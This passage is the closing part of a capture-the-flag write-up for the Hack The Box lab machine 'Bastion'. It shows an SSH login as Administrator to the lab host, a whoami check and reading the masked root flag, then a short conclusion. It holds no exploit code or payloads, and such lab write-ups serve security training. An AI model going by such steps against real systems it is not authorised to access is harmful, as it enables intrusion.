And there we go, we are logged in as Administrator ! all that's left to do is to print out the root flag. 
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → ssh Administrator@10.10.10.134
      Administrator@10.10.10.134's password:
    
      Microsoft Windows [Version 10.0.14393]
      (c) 2016 Microsoft Corporation. All rights reserved.
    
      administrator@BASTION C:\Users\Administrator>whoami
      bastion\administrator
    
      administrator@BASTION C:\Users\Administrator>cd Desktop
    
      administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
      95XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/31_graph.png)

